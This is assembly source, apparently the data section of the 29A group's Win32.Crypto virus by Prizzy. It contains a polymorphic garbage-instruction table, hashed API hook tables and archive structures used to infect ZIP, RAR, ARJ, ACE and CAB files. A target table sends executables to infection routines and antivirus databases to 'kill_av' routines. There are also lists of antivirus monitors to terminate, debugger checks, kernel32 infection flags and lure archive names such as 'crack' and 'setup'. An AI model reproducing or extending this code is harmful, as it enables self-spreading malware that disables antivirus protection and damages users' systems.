|
||
; where __no_flags_X means the following garbages don't
|
||
; modify any flags, do NOT modify this table 'cause of flags
|
||
|
||
tbl_garbage equ this byte
|
||
dd offset g_push_g_pop ;push reg/garbage/pop reg
|
||
__no_flags_1:dd offset g_movreg32imm ;mov reg32,imm
|
||
dd offset g_movreg16imm ;mov reg16,imm
|
||
dd offset g_movreg8imm ;mov reg8,imm
|
||
dd offset g_movregreg32 ;mov reg32,reg32
|
||
dd offset g_movregreg16 ;mov reg16,reg16
|
||
dd offset g_movregreg8 ;mov reg8,reg8
|
||
dd offset g_mathreg32imm ;math reg32,imm
|
||
dd offset g_mathreg16imm ;math reg16,imm
|
||
dd offset g_mathreg8imm ;math reg8,imm
|
||
__no_flags_2:dd offset g_call_cont ;call/garbage/pop
|
||
dd offset g_jump_u ;jump/rnd data
|
||
dd offset g_jump_c ;jump conditional/garbage
|
||
dd offset g_movzx_movsx_32 ;movzx/movsx reg32,reg16
|
||
dd offset g_movzx_movsx_16 ;movzx/movsx reg16,reg8
|
||
dd offset g_movzx_movsx_8 ;movzx/movsx reg32,reg8
|
||
dd offset g_rotate_shift32 ;(rcr,sal...) reg32,imm8
|
||
dd offset g_rotate_shift16 ;(ror,shl...) reg16,imm8
|
||
dd offset g_rotate_shift8 ;(rol,shr...) reg8,imm8
|
||
dd offset g_rs_reg32reg8 ;(rcr,sal...) reg32,reg8
|
||
dd offset g_rs_reg16reg8 ;(ror,shl...) reg16,reg8
|
||
dd offset g_rs_reg8reg8 ;(rol,shr...) reg8,reg8
|
||
dd offset g_bit_test32 ;(bsf,bsr...) reg32,imm8
|
||
dd offset g_bit_test16 ;(btc,bts...) reg16,imm8
|
||
dd offset g_bt_regreg32 ;(bsf,bsr...) reg32,reg32
|
||
dd offset g_bt_regreg16 ;(btc,bts...) reg16,reg16
|
||
dd offset g_mathregreg32 ;(add,sub...) reg32,reg32
|
||
dd offset g_mathregreg16 ;(xor,and...) reg16,reg16
|
||
dd offset g_mathregreg8 ;(sbb,adc...) reg8,reg8
|
||
dd offset g_set_byte ;(seta,setp.) reg8
|
||
dd offset g_loop ;garbage/(loope/loopnz...)
|
||
dd offset g_loop_jump ;garbage/(dec reg8/16/32, jnz)
|
||
dd offset g_call_reg32 ;gen reg32/call reg32/rndblock/pop reg32
|
||
dd offset g_jump_reg32 ;gen reg32/jump reg32/rndblock
|
||
dd offset g_repeat ;gen regz/rep(lods,cmps...)
|
||
dd offset g_pushpop_value ;push rnd(32/16)/garbage/pop reg32
|
||
dd offset g_crypt_value ;crypt rnd32 value to reg32
|
||
dd offset g_compare ;dec reg32/cmp r32,r32/jnz
|
||
end_garbage equ this byte
|
||
|
||
__garbage_based_num equ (offset end_garbage - offset tbl_garbage) / 04h
|
||
|
||
;ÄÄÄ´ some valuez needed by virus ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
; kernel32's base address & its functions
|
||
kernel_base dd 00000000h ;thx to z0mbie & Vecna
|
||
user32_base dd 00000000h ;used in "kernel memory"
|
||
advapi_base dd 00000000h
|
||
|
||
; my big APIs table, using three libraries
|
||
|
||
FunctionAddresses:
|
||
ddGetProcAddress dd 00000000h ;standard functions
|
||
ddGetModuleHandleA dd 00000000h
|
||
ddGetDriveTypeA dd 00000000h
|
||
ddFindFirstFileA dd 00000000h ;FindFIles functions
|
||
ddFindNextFileA dd 00000000h
|
||
ddFindClose dd 00000000h
|
||
ddReadFile dd 00000000h ;FileHandle functions
|
||
ddWriteFile dd 00000000h
|
||
ddSetFilePointer dd 00000000h
|
||
ddSetEndOfFile dd 00000000h
|
||
ddCloseHandle dd 00000000h
|
||
ddDeleteFileA dd 00000000h
|
||
ddSetFileAttributesA dd 00000000h
|
||
ddCreateFileMappingA dd 00000000h ;memory-mapped functions
|
||
ddMapViewOfFile dd 00000000h
|
||
ddUnmapViewOfFile dd 00000000h
|
||
ddGetTempPathA dd 00000000h ;get windows information
|
||
ddGetTempFileNameA dd 00000000h
|
||
ddGetSystemDirectoryA dd 00000000h
|
||
ddGetWindowsDirectoryA dd 00000000h
|
||
ddWritePrivatePFStringA dd 00000000h
|
||
ddGetModuleFileNameA dd 00000000h
|
||
ddGetVersion dd 00000000h
|
||
ddGetStartupInfoA dd 00000000h ;process information
|
||
ddWaitForSingleObject dd 00000000h
|
||
ddCreateProcessA dd 00000000h
|
||
ddOpenProcess dd 00000000h
|
||
ddGetCurrentProcessId dd 00000000h
|
||
ddCreateMutexA dd 00000000h
|
||
ddReleaseMutex dd 00000000h
|
||
ddSleep dd 00000000h
|
||
ddTerminateProcess dd 00000000h
|
||
ddGetSystemTime dd 00000000h ;date & time functions
|
||
ddGetTickCount dd 00000000h
|
||
ddGetFileSize dd 00000000h
|
||
ddGetFileTime dd 00000000h
|
||
ddSetFileTime dd 00000000h
|
||
ddFileTimeToSystemTime dd 00000000h
|
||
ddSystemTimeToFileTime dd 00000000h
|
||
ddIsDebuggerPresent dd 00000000h ;anti-debugging & anti-emul
|
||
ddCreateThread dd 00000000h
|
||
ddWideCharToMultiByte dd 00000000h ;stringz, characterz
|
||
ddlstrcat dd 00000000h
|
||
ddlstrlen dd 00000000h
|
||
ddIsBadCodePtr dd 00000000h
|
||
ddGetLastError dd 00000000h
|
||
HookedAddresses:
|
||
ddCreateFileW dd 00000000h ;opening files APIs
|
||
ddCreateFileA dd 00000000h
|
||
ddOpenFile dd 00000000h
|
||
dd_lopen dd 00000000h
|
||
ddCopyFileW dd 00000000h ;Copy/Move files APIs
|
||
ddCopyFileA dd 00000000h
|
||
ddMoveFileW dd 00000000h
|
||
ddMoveFileA dd 00000000h
|
||
ddMoveFileExW dd 00000000h
|
||
ddMoveFileExA dd 00000000h
|
||
ddLoadLibraryW dd 00000000h ;opening libraries APIs
|
||
ddLoadLibraryA dd 00000000h
|
||
ddLoadLibraryExW dd 00000000h
|
||
ddLoadLibraryExA dd 00000000h
|
||
ddFreeLibrary dd 00000000h
|
||
|
||
; functions from ADVAPI32.DLL library
|
||
HookedAddresses_advapi32:
|
||
ddCryptAcquireContextA dd 00000000h ;Cryptography functions
|
||
ddCryptExportKey dd 00000000h
|
||
ddCryptImportKey dd 00000000h
|
||
ddCryptGetUserKey dd 00000000h
|
||
ddCryptGetProvParam dd 00000000h
|
||
ddCryptGenKey dd 00000000h
|
||
ddCryptEncrypt dd 00000000h
|
||
ddCryptDecrypt dd 00000000h
|
||
ddCryptDestroyKey dd 00000000h
|
||
ddCryptReleaseContext dd 00000000h
|
||
ddRegOpenKeyExA dd 00000000h ;Registry functions
|
||
ddRegQueryValueExA dd 00000000h
|
||
ddRegQueryInfoKeyA dd 00000000h
|
||
ddRegEnumValueA dd 00000000h
|
||
ddRegSetValueExA dd 00000000h
|
||
ddRegCreateKeyExA dd 00000000h
|
||
ddRegCloseKey dd 00000000h
|
||
|
||
; functions from USER32.DLL library
|
||
HookedAddresses_user32:
|
||
ddSetTimer dd 00000000h
|
||
ddKillTimer dd 00000000h
|
||
ddFindWindowA dd 00000000h
|
||
ddPostMessageA dd 00000000h
|
||
ddCharUpperBuffA dd 00000000h
|
||
|
||
|
||
FunctionNames:
|
||
szGetProcAddress: __macro_CRC32 <GetProcAddress>
|
||
szGetModuleHandleA: __macro_CRC32 <GetModuleHandleA>
|
||
szGetDriveTypeA: __macro_CRC32 <GetDriveTypeA>
|
||
szFindFirstFileA: __macro_CRC32 <FindFirstFileA>
|
||
szFindNextFileA: __macro_CRC32 <FindNextFileA>
|
||
szFindClose: __macro_CRC32 <FindClose>
|
||
szReadFile: __macro_CRC32 <ReadFile>
|
||
szWriteFile: __macro_CRC32 <WriteFile>
|
||
szSetFilePointer: __macro_CRC32 <SetFilePointer>
|
||
szSetEndOfFile: __macro_CRC32 <SetEndOfFile>
|
||
szCloseHandle: __macro_CRC32 <CloseHandle>
|
||
szDeleteFileA: __macro_CRC32 <DeleteFileA>
|
||
szSetFileAttributesA: __macro_CRC32 <SetFileAttributesA>
|
||
szCreateFileMappingA: __macro_CRC32 <CreateFileMappingA>
|
||
szMapViewOfFile: __macro_CRC32 <MapViewOfFile>
|
||
szUnmapViewOfFile: __macro_CRC32 <UnmapViewOfFile>
|
||
szGetTempPathA: __macro_CRC32 <GetTempPathA>
|
||
szGetTempFileName: __macro_CRC32 <GetTempFileNameA>
|
||
szGetSystemDirectoryA: __macro_CRC32 <GetSystemDirectoryA>
|
||
szGetWindowsDirectoryA: __macro_CRC32 <GetWindowsDirectoryA>
|
||
szWritePrivatePFStringA:__macro_CRC32 <WritePrivateProfileStringA>
|
||
szGetModuleFileNameA: __macro_CRC32 <GetModuleFileNameA>
|
||
szGetVersion: __macro_CRC32 <GetVersion>
|
||
szGetStartupInfoA: __macro_CRC32 <GetStartupInfoA>
|
||
szWaitForSingleObject: __macro_CRC32 <WaitForSingleObject>
|
||
szCreateProcessA: __macro_CRC32 <CreateProcessA>
|
||
szOpenProcess: __macro_CRC32 <OpenProcess>
|
||
szGetCurrentProcessId: __macro_CRC32 <GetCurrentProcessId>
|
||
szCreateMutexA: __macro_CRC32 <CreateMutexA>
|
||
szReleaseMutex: __macro_CRC32 <ReleaseMutex>
|
||
szSleep: __macro_CRC32 <Sleep>
|
||
szTerminateProcess: __macro_CRC32 <TerminateProcess>
|
||
szGetSystemTime: __macro_CRC32 <GetSystemTime>
|
||
szGetTickCount: __macro_CRC32 <GetTickCount>
|
||
szGetFileSize: __macro_CRC32 <GetFileSize>
|
||
szGetFileTime: __macro_CRC32 <GetFileTime>
|
||
szSetFileTime: __macro_CRC32 <SetFileTime>
|
||
szFileTimeToSystemTime: __macro_CRC32 <FileTimeToSystemTime>
|
||
szSystemTimeToFileTime: __macro_CRC32 <SystemTimeToFileTime>
|
||
szIsDebuggerPresent: __macro_CRC32 <IsDebuggerPresent>
|
||
szCreateThread: __macro_CRC32 <CreateThread>
|
||
szWideCharToMultiByte: __macro_CRC32 <WideCharToMultiByte>
|
||
szlstrcat: __macro_CRC32 <lstrcat>
|
||
szlstrlen: __macro_CRC32 <lstrlen>
|
||
szIsBadCodePtr: __macro_CRC32 <IsBadCodePtr>
|
||
szGetLastError: __macro_CRC32 <GetLastError>
|
||
Hooked_API:
|
||
szCreateFileW: __macro_CRC32 <CreateFileW>
|
||
szCreateFileA: __macro_CRC32 <CreateFileA>
|
||
szOpenFile: __macro_CRC32 <OpenFile>
|
||
sz_lopen: __macro_CRC32 <_lopen>
|
||
szCopyFileW: __macro_CRC32 <CopyFileW>
|
||
szCopyFileA: __macro_CRC32 <CopyFileA>
|
||
szMoveFIleW: __macro_CRC32 <MoveFileW>
|
||
szMoveFileA: __macro_CRC32 <MoveFileA>
|
||
szMoveFileExW: __macro_CRC32 <MoveFileExW>
|
||
szMoveFileExA: __macro_CRC32 <MoveFileExA>
|
||
szLoadLibraryW: __macro_CRC32 <LoadLibraryW>
|
||
szLoadLibraryA: __macro_CRC32 <LoadLibraryA>
|
||
szLoadLibraryExW: __macro_CRC32 <LoadLibraryExW>
|
||
szLoadLibraryExA: __macro_CRC32 <LoadLibraryExA>
|
||
szFreeLibrary: __macro_CRC32 <FreeLibrary>
|
||
db 0, 0, 0, 0, 13, "ADVAPI32.DLL", 0
|
||
advapi32_name equ $ - 13
|
||
szCryptAcquireContextA: __macro_CRC32 <CryptAcquireContextA>
|
||
szCryptExportKey: __macro_CRC32 <CryptExportKey>
|
||
szCryptImportKey: __macro_CRC32 <CryptImportKey>
|
||
szCryptGetUserKey: __macro_CRC32 <CryptGetUserKey>
|
||
szCryptGetProvParam: __macro_CRC32 <CryptGetProvParam>
|
||
szCryptGenKey: __macro_CRC32 <CryptGenKey>
|
||
szCryptEncrypt: __macro_CRC32 <CryptEncrypt>
|
||
szCryptDecrypt: __macro_CRC32 <CryptDecrypt>
|
||
szCryptDestroyKey: __macro_CRC32 <CryptDestroyKey>
|
||
szCryptReleaseContext: __macro_CRC32 <CryptReleaseContext>
|
||
szRegOpenKeyExA: __macro_CRC32 <RegOpenKeyExA>
|
||
szRegQueryValueExA: __macro_CRC32 <RegQueryValueExA>
|
||
szRegQueryInfoKeyA: __macro_CRC32 <RegQueryInfoKeyA>
|
||
szRegEnumValueA: __macro_CRC32 <RegEnumValueA>
|
||
szRegSetValueExA: __macro_CRC32 <RegSetValueExA>
|
||
szRegCreateKeyExA: __macro_CRC32 <RegCreateKeyExA>
|
||
szRegCloseKey: __macro_CRC32 <RegCloseKey>
|
||
db 0, 0, 0, 0, 11, "USER32.DLL", 0
|
||
user32_name equ $ - 11
|
||
szSetTimer: __macro_CRC32 <SetTimer>
|
||
szKillTimer: __macro_CRC32 <KillTimer>
|
||
szFindWindowA: __macro_CRC32 <FindWindowA>
|
||
szPostMessageA: __macro_CRC32 <PostMessageA>
|
||
szCharUpperBuffA: __macro_CRC32 <CharUpperBuffA>
|
||
db 0, 0, 0, 0, 0 ;end of table
|
||
|
||
Hooked_API_functions: ;1st value = orig. adr ... 2nd = new function
|
||
hfCreateFileW dd offset myCreateFileA - 5, offset myCreateFileW
|
||
hfCreateFileA dd offset myOpenFile - 5, offset myCreateFileA
|
||
hfOpenFile dd offset my_lopen - 5, offset myOpenFile
|
||
hf_lopen dd offset myCopyFileW - 5, offset my_lopen
|
||
|
||
hfCopyFileW dd offset myCopyFileA - 5, offset myCopyFileW
|
||
hfCopyFileA dd offset myMoveFileW - 5, offset myCopyFileA
|
||
hfMoveFileW dd offset myMoveFileA - 5, offset myMoveFileW
|
||
hfMoveFileA dd offset myMoveFileExW - 5, offset myMoveFileA
|
||
hfMoveFileExW dd offset myMoveFileExA - 5, offset myMoveFileExW
|
||
hfMoveFileExA dd offset myLoadLibraryW- 5, offset myMoveFileExA
|
||
|
||
hfLoadLibraryW dd offset myLoadLibraryA - 5, offset myLoadLibraryW
|
||
hfLoadLibraryA dd offset myLoadLibraryExW - 5, offset myLoadLibraryA
|
||
hfLoadLibraryExW dd offset myLoadLibraryExA - 5, offset myLoadLibraryExW
|
||
hfLoadLibraryExA dd offset myFreeLibrary - 5, offset myLoadLibraryExA
|
||
hfFreeLibrary dd offset EndOfNewFunctions - 5, offset myFreeLibrary
|
||
|
||
; common valuez
|
||
|
||
gdt_flags dd 00000000h ;fixed & remote disks
|
||
file_infected dd 00000000h ;number of infected files
|
||
|
||
; copyright
|
||
|
||
szAuthor db "Win32.Crypto, (c)oded by Prizzy/29A",13,10
|
||
db "Greetz to Darkman, Benny and GriYo"
|
||
|
||
;ÄÄÄ´ archivez struct ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
; ACE,RAR SFX information
|
||
|
||
Archive_MagicWhere:
|
||
|
||
ACE_MagicWhere dw 0,ACENeededBytes;ACE archive (*.ACE)
|
||
dw 05C00h,300h ;ACE-SFX (DOS)
|
||
dw 0DE00h,2200h ;ACE-SFX English/German
|
||
;(Win 95/98, NT 4.x)
|
||
|
||
RAR_MagicWhere dw 0,20 ;RAR archive (*.RAR)
|
||
dw 2400h,800h ;RAR-SFX (DOS)
|
||
dw 5000h,800h ;RAR-SFX (Win 95/98, NT 4.x)
|
||
|
||
ACE_Magic db '**ACE**'
|
||
ACE_Magic_Length equ 07
|
||
RAR_Magic db 'Rar!',1Ah,7,0
|
||
RAR_Magic_Length equ 07
|
||
|
||
; ACE archivez struct
|
||
|
||
ACE_h_struct equ this byte
|
||
ACEhHeadCrc dw 0000h
|
||
ACEhHeadSize dw 0000h
|
||
ACEhHeadType db 00h
|
||
ACEhHeadFlags dw 0000h
|
||
ACEhSignature db '**ACE**'
|
||
ACE_h_struct_finish equ this byte
|
||
|
||
ACE_h_struct_continue struc ;this structure ain't
|
||
ACEhVerMod db 00h ;neccessary for RAR's
|
||
ACEhVerCr db 00h ;opeartions
|
||
ACEhHostCr db 00h
|
||
ACEhVolumeNumber db 00h
|
||
ACEhTimeDate dd 00000000h
|
||
ACEhReserved1 dw 0000h
|
||
ACEhReserved2 dw 0000h
|
||
ACEhReserved3 dd 00000000h
|
||
ACEhAvSize db 00h
|
||
ACEhAv equ ThisPlace
|
||
ACEhCommentSize dw 0000h
|
||
ACEhComment equ ThisPlace
|
||
ends
|
||
|
||
ACE_f_struct struc ;this structure ain't
|
||
ACEfHeadCRC dw 0000h ;neccessary for RAR's
|
||
ACEfHeadSize dw 0000h ;opeartions
|
||
ACEfHeadType db 00h
|
||
ACEfHeadFlags dw 0000h
|
||
ACEfCompressedSize dd 00000000h
|
||
ACEfUnCompressedSize dd 00000000h
|
||
ACEfTimeDate dd 00000000h
|
||
ACEfAttrib dd 00000000h
|
||
ACEfCRC32 dd 00000000h
|
||
ACEfTechType db 00h
|
||
ACEfTechQual db 00000000h
|
||
ACEfTechParm dw 0000h
|
||
ACEfReserved dw 0000h
|
||
ACEfFilenameSize dw 0000h
|
||
ACEfFilename db 8+1+3 dup (00h)
|
||
ends
|
||
|
||
ACENeededBytes equ ACE_h_struct_finish - ACE_h_struct
|
||
|
||
; RAR archivez struct
|
||
|
||
RARSignature db 'Rar!',1Ah,7,0 ;RAR's signature (v1.5+)
|
||
RARSignature_Length equ 07 ;seven bytes
|
||
|
||
RAR_struct equ this byte
|
||
RARHeaderCRC dw 0000h
|
||
RARHeaderType db 00h
|
||
RARFileFlags dw 0000h
|
||
RARHeaderSize dw 0000h
|
||
RAR_struct_finish equ this byte
|
||
|
||
RAR_struct_continue struc ;this structure ain't
|
||
RARCompressedSize dd 00000000h ;neccessary for RAR's
|
||
RARUncompressedSize dd 00000000h ;opeartions
|
||
RARHostOS db 00h
|
||
RARFileCRC dd 00000000h
|
||
RARDateTime dd 00000000h
|
||
RARVersionNeed db 00h
|
||
RARMethod db 00h
|
||
RARFileNameSize dw 0000h
|
||
RARFileAttribute dd 00000000h
|
||
RARFileName db 8+1+3 dup(00h)
|
||
ends
|
||
|
||
RARNeededBytes equ RAR_struct_finish - RAR_struct
|
||
|
||
; ARJ archivez struct
|
||
|
||
ARJ_struct equ this byte
|
||
ARJHeaderId dw 0EA60h
|
||
ARJHeaderSize dw 0000h
|
||
ARJ1HeaderSize db 00h
|
||
ARJVersionDone db 00h
|
||
ARJVersionNeed db 00h
|
||
ARJHostOS db 00h
|
||
ARJFlags db 00h
|
||
ARJMethod db 00h
|
||
ARJType db 00h
|
||
ARJReserved db 00h
|
||
ARJDateTime dd 00000000h
|
||
ARJCompressedSize dd 00000000h
|
||
ARJ_struct_finish equ this byte
|
||
|
||
ARJ_struct_continue struc ;this structure ain't
|
||
ARJUncompressedSize dd 00000000h ;neccessary for ARJ's
|
||
ARJFileCRC dd 00000000h ;opeartions
|
||
ARJEntryname dw 0000h
|
||
ARJAccessMode dw 0000h
|
||
ARJHostData dw 0000h
|
||
ARJFilename db 8+1+3 dup(00h) ;from this it isn't exact,
|
||
ARJComment db 00h ;ARJFilename has not 8+1+3
|
||
ARJHeaderCRC dd 00000000h ;size
|
||
ARJExtHeader dw 0000h
|
||
ARJEnd dw 0EA60h, 0000h
|
||
ends
|
||
|
||
ARJNeededBytes equ ARJ_struct_finish - ARJ_struct
|
||
ARJGetSizeOnly equ ARJVersionDone - ARJ_struct
|
||
|
||
; ZIP archivez struct
|
||
|
||
ZIPInfoBuffer equ this byte ;thanks to ZIP's structs
|
||
ZIPRHeaderId db 'PK' ;from Vecna's "El Inca"
|
||
ZIPRSignature db 01h, 02h ;virus
|
||
ZIPRVerMade dw 000Ah
|
||
ZIPRVerNeed dw 000Ah
|
||
ZIPRFlags dw 0000h
|
||
ZIPRMethod dw 0000h
|
||
ZIPRTimeDate dd 00000000h
|
||
ZIPRCRC32 dd 00000000h
|
||
ZIPRCompressed dd 00000000h
|
||
ZIPRUncompressed dd 00000000h
|
||
ZIPRSizeFilename dw 0000h
|
||
ZIPRExtraField dw 0000h
|
||
ZIPRCommentSize dw 0000h
|
||
ZIPRDiskNumba dw 0000h
|
||
ZIPRInternalAttr dw 0000h
|
||
ZIPRExternalAttr dd 00000000h
|
||
ZIPROffsetLHeaderR dd 00000000h
|
||
ZIPRFilename db 8+1+3 dup (00h)
|
||
ZIPRHeaderSize equ ZIPRFilename - ZIPRHeaderId
|
||
ZIPRScanSize1 equ ZIPRSizeFilename - ZIPRHeaderId
|
||
ZIPRScanSize2 equ ZIPRFilename - ZIPRSizeFilename
|
||
ZIPRScanSize3 equ ZIPROffsetLHeaderR - ZIPRSizeFilename
|
||
|
||
ZIPMHeaderBuffer struc ;this structure ain't
|
||
ZIPLHeaderId db 'PK' ;neccessary for ZIP's
|
||
ZIPLSignature dw 0403h ;operations
|
||
ZIPLVersionNeed dw 0000h
|
||
ZIPLFlags dw 0000h
|
||
ZIPLMethod dw 0000h
|
||
ZIPLDateTime dd 00000000h
|
||
ZIPLCRC32 dd 00000000h
|
||
ZIPLCompressed dd 00000000h
|
||
ZIPLUncompressed dd 00000000h
|
||
ZIPLSizeFilename dw 0000h
|
||
ZIPLExtraField dw 0000h
|
||
ZIPLFilename db 8+1+3 dup (00h)
|
||
ends
|
||
ZIPMScanSize equ ZIPLSizeFilename - ZIPMHeaderBuffer
|
||
ZIPMFilename equ ZIPLFilename - ZIPMHeaderBuffer
|
||
|
||
ZIPReadBuffer equ this byte
|
||
ZIPEHeaderId db 'PK'
|
||
ZIPSignature dw 0000h
|
||
ZIPNoDisk dw 0000h
|
||
ZIPNoStartDisk dw 0000h
|
||
ZIPEntryDisk dw 0000h
|
||
ZIPEntrysDir dw 0000h
|
||
ZIPSizeDir dd 00000000h
|
||
ZIPOffsetDir dd 00000000h
|
||
ZIPCommentLenght dw 0000h
|
||
ZIPEHeaderSize equ this byte - offset ZIPReadBuffer
|
||
|
||
; CAB achivez struct
|
||
|
||
CAB_h_struct equ this byte
|
||
CABh_Magic db 'MSCF' ;"MSCF" signature
|
||
CABh_Reserved1 dd 00000000h ;reserved
|
||
CABh_FileSize dd 00000000h ;file size of this cabinet
|
||
CABh_Reserved2 dd 00000000h ;reserved
|
||
CABh_FirstRec dd 00000000h ;offset of the 1st entry
|
||
CABh_Reserved3 dd 00000000h ;reserved
|
||
CABh_VersionMin db 00h ;CAB file format version
|
||
CABh_VersionMaj db 00h ;curently: 0x0103
|
||
CABh_nFolders dw 0000h ;number of folders
|
||
CABh_nFiles dw 0000h ;number of files
|
||
CABh_Flags dw 0000h ;1=exist its prev. cabinet
|
||
;2=exist its next cabinet
|
||
;4=exist its reser. field
|
||
CABh_ID dw 0000h ;identification number
|
||
CABh_Number dw 0000h ;number of cab (0=the first)
|
||
CAB_h_finish equ this byte
|
||
|
||
CAB_reserved struct
|
||
CABr_length dw 0000h ;if CABh_Flags=4
|
||
CABr_reserved equ this byte
|
||
ends
|
||
|
||
CAB_directory_start equ this byte
|
||
CABd_FirstRec dd 00000000h ;offset of the 1st dir
|
||
CABd_nData dw 0000h ;number of cfDATA structz
|
||
CABd_Compress dw 0000h ;compression type
|
||
CABd_Reserved equ this byte ;this can be reserved area
|
||
|
||
CAB_file_start equ this byte
|
||
CABf_UnCompSize dd 00000000h ;file size (uncompressed)
|
||
CABf_FileStart dd 00000000h ;offset of the file
|
||
CABf_Flags dw 0000h ;0000=file in folder #0
|
||
;0001=file in folder #1
|
||
;FFFD=file from prev
|
||
;FFFE=file to next
|
||
;FFFF=file prev_and_next
|
||
CABf_Date dw 1234h ;date
|
||
CABf_Time dw 1234h ;time
|
||
CABf_Attribs dw 0020h ;attr of the file
|
||
CABf_FileName db 8+1+3 dup (00h) ;file_name + 00h
|
||
db 00h
|
||
|
||
CAB_entry equ this byte
|
||
CABe_CRC dd 00000000h ;checksum of this entry
|
||
CABe_Compr dw 0000h ;compressed size
|
||
CABe_UnCompr dw 0000h ;uncompressed size
|
||
CABe_Compr_data equ this byte
|
||
|
||
; generate command for archiver programs by this table
|
||
; include compress method, archives filenames, and ">nul"
|
||
; note: 32=20h because of i'm using DN (and it does optim.)
|
||
|
||
ArchiverCommand db ' a -ep -std -m' ,05h,'12345' ;ACE
|
||
db ' a -ep',32,32,32,32,32,32, \
|
||
'-m' ,05h,'12345' ;RAR
|
||
db ' a -e',32,32,32,32,32,32,32, \
|
||
'-m' ,04h,'1234 ' ;ARJ
|
||
db ' -a' ,32,32,32,32,32,32,32,32,32, \
|
||
'-e' ,04h,'xnfs ' ;PKZIP
|
||
|
||
ArchiverCommandSize equ 0000000Eh ;lenght of one command
|
||
ArchiverCommandRealSize equ 00000014h ;lenght of command + c. method
|
||
|
||
; I must find these programs by hyper infection
|
||
; the 1st value means - 00h = only extension, 01h = name
|
||
; the 4th value means - 00h = search, 01h = don't search
|
||
; the 5th value means - jump there, if found
|
||
; the 6th value means - useful value for that function
|
||
|
||
HyperTable db 01h,'PKZIP.EXE' , 00h, 00h
|
||
dd offset archive_act, offset NewZIP
|
||
db 01h,'ARJ.EXE' , 00h, 00h
|
||
dd offset archive_act, offset NewARJ
|
||
db 01h,'RAR.EXE' , 00h, 00h
|
||
dd offset archive_act, offset NewRAR
|
||
db 01h,'ACE.EXE' , 00h, 00h
|
||
dd offset archive_act, offset NewACE
|
||
db 00h,'.EXE' , 00h, 00h
|
||
dd offset infect_file, 00000000h
|
||
db 00h,'.ZIP' , 00h, 00h ;Internet's archive
|
||
dd offset infect_file, 00000000h
|
||
db 00h,'.ARJ' , 00h, 00h ;Old archive
|
||
dd offset infect_file, 00000000h
|
||
db 00h,'.RAR' , 00h, 00h ;User's archive
|
||
dd offset infect_file, 00000000h
|
||
db 00h,'.ACE' , 00h, 00h ;Hacker's archive
|
||
dd offset infect_file, 00000000h
|
||
db 00h,'.CAB' , 00h, 00h ;Fucking MicroSoft's
|
||
dd offset infect_file, 00000000h ;archive format
|
||
db 01h,'AVP.CRC' , 00h, 00h
|
||
dd offset kill_av , 00000000h
|
||
db 01h,'IVP.NTZ' , 00h, 00h
|
||
dd offset kill_av , 00000000h
|
||
db 01h,'ANTI-VIR.DAT', 00h, 00h
|
||
dd offset kill_av , 00000000h
|
||
db 01h,'CHKLIST.MS' , 00h, 00h
|
||
dd offset kill_av , 00000000h
|
||
db 01h,'CHKLIST.CPS' , 00h, 00h
|
||
dd offset kill_av , 00000000h
|
||
db 01h,'SMARTCHK.MS' , 00h, 00h
|
||
dd offset kill_av , 00000000h
|
||
db 01h,'SMARTCHK.CPS', 00h, 00h
|
||
dd offset kill_av , 00000000h
|
||
db 01h,'AGUARD.DAT' , 00h, 00h
|
||
dd offset kill_av , 00000000h
|
||
db 01h,'AVGQT.DAT' , 00h, 00h
|
||
dd offset kill_av , 00000000h
|
||
db 01h,'LGUARD.VPS' , 00h, 00h ;AVAST's viruses data-
|
||
dd offset kill_avast , 00000000h ;base, hack its !!!
|
||
db 0FFh
|
||
|
||
HyperTable_OneSize equ 0000000Fh ;size of ext field
|
||
HyperTable_HalfSize equ 00000009h ;size of pointers
|
||
|
||
gen_archive_number equ 10
|
||
gen_archive_filename db 0,7,'install', 1,5,'setup', 0,3,'run', \
|
||
0,5,'sound', 0,6,'config',0,4,'help', \
|
||
1,6,'gratis', 1,5,'crack', 1,6,'update', \
|
||
1,6,'readme'
|
||
|
||
; Hyper Infection - kernel32 internal values
|
||
|
||
HyperInfection_k32 dd 00000000h ;actived from "kernel32" ?
|
||
HyperInfection_timerID dd 00000000h ;timer identification
|
||
|
||
; AVAST's viruses database
|
||
|
||
AVAST_newSize equ 514847 ;this size + <0,50Kb)
|
||
AVAST_memSize equ AVAST_newSize + 100h
|
||
|
||
; some AV monitors
|
||
|
||
kill_AV equ this byte
|
||
db 'AVG Control Center',0 ;AVG Grisoft
|
||
db 'Avast32 -- Rezidentní podpora',0 ;AVAST32 (CZ)
|
||
db 'AVP Monitor',0 ;AVP
|
||
db 'Amon Antivirus Monitor',0 ;AMON English
|
||
db 'Antivírusový monitor Amon',0 ;AMON Slovak
|
||
kill_AV_num equ 5 ;four monitors
|
||
|
||
; some debuggers
|
||
|
||
kill_SoftICE db '\\.\SICE',0 ;SoftICE 95/98
|
||
kill_SoftICE_NT db '\\.\NTICE',0 ;SoftICE NT/2k
|
||
|
||
; kernel infection
|
||
|
||
kernel_name db '\KERNEL32.DLL',0
|
||
kernel_name_len equ $ - kernel_name
|
||
it_is_kernel dd 00000000h ;infect kernel via "infect_file" ?
|
||
|
||
; do not infected table (thanx Lord Julus/29A for this tbl)
|
||
|
||
avoid_table db 'TB' ,00h,'F-' ,00h,'AW' ,00h,'AV' ,00h
|
||
db 'NAV' ,00h,'PAV' ,00h,'RAV' ,00h,'NVC' ,00h
|
||
db 'FPR' ,00h,'DSS' ,00h,'IBM' ,00h,'INOC' ,00h
|
||
db 'ANTI' ,00h,'SCN' ,00h,'VSAF' ,00h,'VSWP' ,00h
|
||
db 'PANDA' ,00h,'DRWEB' ,00h,'FSAV' ,00h,'SPIDER',00h
|
||
db 'ADINF' ,00h,'SONIQUE',00h,'SQSTART',00h,01h
|
||
|
||
; Microsoft Cryptography functions, what a dream {:-D
|
||
|
||
crypto_KeyName db 'Prizzy/29A',0 ;my new crypto-key
|
||
crypto_Action dd 00000000h ;exists crypto functions ?
|
||
crypto_loadKey dd 00000000h ;has key been loaded ?
|
||
|
||
crypto_Provider dd 00000000h ;CSP provider
|
||
crypto_Key dd 00000000h ;CPS key
|
||
crypto_XchgKey dd 00000000h ;exportable CSP key
|
||
|
||
crypto_BlobLen dd 00000000h ;simple blob key length
|
||
crypto_BlobKey dd 00000000h ;simple blob key pointer
|
||
crypto_BlobHan dd 00000000h ;simple blob key reg handle
|
||
|
||
crypto_mainProcId dd 00000000h
|
||
